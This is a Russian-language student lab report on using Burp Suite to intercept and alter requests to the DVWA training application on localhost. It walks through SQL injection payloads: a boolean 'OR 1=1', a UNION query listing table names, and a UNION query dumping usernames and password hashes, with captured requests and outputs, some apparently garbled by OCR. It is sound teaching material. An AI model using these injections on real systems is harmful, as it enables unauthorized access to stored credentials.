

Индивидуальный проект - этап 5

Петров Артем Евгеньевич¹

15 декабря, 2025, Москва, Россия

¹Российский Университет Дружбы Народов

Цели и задачи работы

Цель лабораторной работы

Целью данной работы является изучение приложения BurpSuite.

Процесс выполнения лабораторной работы

Введение

Burp Suite – это набор инструментов для тестирования безопасности веб-приложений. Этот инструмент используется для обнаружения уязвимостей, анализа трафика и проведения различных атак на веб-приложения, таких как XSS, SQL-инъекции и другие.

Burp Suite используется специалистами по безопасности, пентестерами и исследователями для:

- Поиска и анализа уязвимостей веб-приложений.
- Перехвата и анализа сетевого трафика.
- Автоматизации атак на веб-приложения.
- Оценки уровня защиты приложений.

Введение

SQL-инъекции – это тип уязвимости, который позволяет злоумышленникам выполнять произвольные SQL-запросы в базе данных через приложение. Это может привести к несанкционированному доступу к данным, их модификации или даже удалению.

SQL-инъекция возникает, когда приложение не корректно обрабатывает пользовательский ввод и включает его в SQL-запросы. Злоумышленники могут вставить (инъектировать) свои SQL-коды в вводимые данные, которые затем выполняются базой данных.

Работа перехватчика запросов

Request to http://localhost:80 [127.0.0.1]

Forward Drop Interception Action Open browser

Pretty Raw Hex

```
1 POST /DWA/vulnerabilities/sqli/ HTTP/1.1
2 Host: localhost
3 Connection: keep-alive
4 Cache-Control: max-age=0
5 sec-ch-ua: "Not A Brand";v="99", "Chromium":v="124"
6 sec-ch-ua-mobile: ?0
7 sec-ch-ua-platform: "Linux"
8 Upgrade-Insecure-Requests: 1
9 Origin: http://localhost
10 Content-Type: application/x-www-form-urlencoded
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec-Fetch-Dest: Document
17 Referer: http://localhost/DWA/vulnerabilities/sqli/
18 Accept-Encoding: gzip, deflate, br
19 Accept-Language: en-US,en;q=0.9
20 Cookie: PHPSESSID=1rkfbk7dmk5rqefgt959w98tn; security=medium
21 Connection: close
22
23 id=1&Submit=Submit
```

Рис. 1: Перехваченные данные

Подмена данных в запросе

```
1 POST /DVWA/vulnerabilities/sql/ HTTP/1.1
2 Host: localhost
3 Content-Length: 18
4 Cache-Control: max-age=0
5 sec-ch-ua: "Not-A-Brand";v="99", "Chromium";v="124"
6 sec-ch-ua-mobile: ?0
7 sec-ch-ua-platform: "Linux"
8 Upgrade-Insecure-Requests: 1
9 Origin: http://localhost
10 Content-Type: application/x-www-form-urlencoded
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6867.118 Safari/537.36
12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Dest: document
16 Sec-Fetch-Dest: document
17 Referer: http://localhost/DVWA/vulnerabilities/sql/
18 Accept-Encoding: gzip, deflate, br
19 Accept-Language: en-US,en;q=0.9
20 Cookie: PHPSESSID=1rkf8k7dak37qefgt939w98tn; security=medium
21 Connection: close
22
23 id=1 OR 1=1#&Submit=Submit
```

Рис. 2: Подмена запроса

Ответ от DVWA

The screenshot shows the DVWA application interface. On the left, a sidebar menu lists various security vulnerabilities: Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection (highlighted in green), SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), and XSS (Stored). The main content area is titled "Vulnerability: SQL Injection". It contains a form with a dropdown menu set to "1" and a "Submit" button. Below the form, five sets of data are displayed, each starting with "ID: 1 OR 1=1#":

- First name: admin
Surname: admin
- First name: Gordon
Surname: Brown
- First name: Hack
Surname: Me
- First name: Pablo
Surname: Picasso
- First name: Bob
Surname: Smith

Рис. 3: Реакция на подмену

Подмена данных в запросе

Теперь попробуем получить имена таблиц, для этого передадим такой запрос

```
1 OR 1=1 UNION SELECT \
NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#
```

Подмена данных в запросе

```
1 POST /OWA/vulnerabilities/sqli/ HTTP/1.1
2 Host: localhost
3 Content-Length: 18
4 Cache-Control: max-age=0
5 Sec-Fetch-Dest: frame; mode="script"
6 Sec-Fetch-Site: same-origin; vw="99"; "Chromium":vw="124"
7 sec-ch-ua-mobile: 70
8 sec-ch-ua-platform: "Linux"
9 Upgrade-Insecure-Requests: 1
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/57.36
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12 Accept-Encoding: gzip, deflate, br
13 Accept-Language: en-US,en;q=0.9
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec-Fetch-Dest: document
17 Path: /OWA/vulnerabilities/sqli/
18 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
19 Connection: close
20 Cookie: PHPSESSID=1rkf8k7dmb43fqefgt999w98tn; security=medium
21 Connection: close
22
23 id=1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES Submit=Submit
```

Рис. 4: Подмена запроса

Ответ от DVWA

```
First name:  
Surname: INNODB_SYS_TABLES  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: INNODB_SYS_COLUMNS  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: INNODB_SYS_TABLESPACES  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: INNODB_SYS_INDEXES  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: INNODB_BUFFER_PAGE  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: INNODB_SYS_VIRTUAL  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: user_variables  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: INNODB_TABLESPACES_ENCRYPTION  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: INNODB_LOCK_WAITS  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: THREAD_POOL_STATS  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: guestbook  
ID: 1 OR 1=1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#  
First name:  
Surname: users
```

Рис. 5: Реакция на подмену

Подмена данных в запросе

Попробуем получить данные пользователей из таблицы users.

```
1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#
```

Подмена данных в запросе

```
-----  
1 POST /DVWA/vulnerabilities/sql/ HTTP/1.1  
2 Host: localhost  
3 Content-Length: 18  
4 Connection: close  
5 max-age=0  
6 sec-ch-ua: "Not A Brand";v="99", "Chromium":v="124"  
7 sec-ch-ua-mobile: ?0  
8 sec-ch-ua-platform: "Linux"  
9 Upgrade-Insecure-Requests: 1  
10 Origin: http://localhost  
11 Content-Type: application/x-www-form-urlencoded  
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6967.118 Safari/537.36  
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
14 Sec-Fetch-Site: same-origin  
15 Sec-Fetch-Mode: navigate  
16 Sec-Fetch-User: ?1  
17 Sec-Fetch-Document: ?1  
18 Referer: http://localhost/DVWA/vulnerabilities/sql/  
19 Accept-Encoding: gzip, deflate, br  
20 Accept-Language: en-US,en;q=0.9  
21 Cookie: PHPSESSID=1rkf0k7dmek9fqefgt999e98rn; security=medium  
22 Connection: close  
23 id=1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#&Submit=Submit
```

Рис. 6: Подмена запроса

Ответ от DVWA

The screenshot shows the DVWA Command Injection page. On the left, there's a sidebar with various exploit categories: Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection (highlighted in green), SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), XSS (Stored), CSP Bypass, JavaScript, Authorisation Bypass, Open HTTP Redirect, DVWA Security, PHP Info, About, and Logout. The main content area displays the results of a SQL injection exploit. It shows two rows of user data from the 'users' table:

ID	First name	Surname
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	Gordon	Brown
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	Hack	Me
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	Pablo	Picasso
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	Bob	Smith
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	admin	5f4dcc3b5aa765d61d8327deb882cf99
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	gordonb	e99a18c428cb38d5f260853678922e03
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	1337	8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	pablo	0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1 OR 1=1 UNION SELECT USER,PASSWORD FROM users#	smithy	5f4dcc3b5aa765d61d8327deb882cf99

Рис. 7: Реакция на подмену

Выводы по проделанной работе

Вывод

Мы изучили возможности BurpSuite.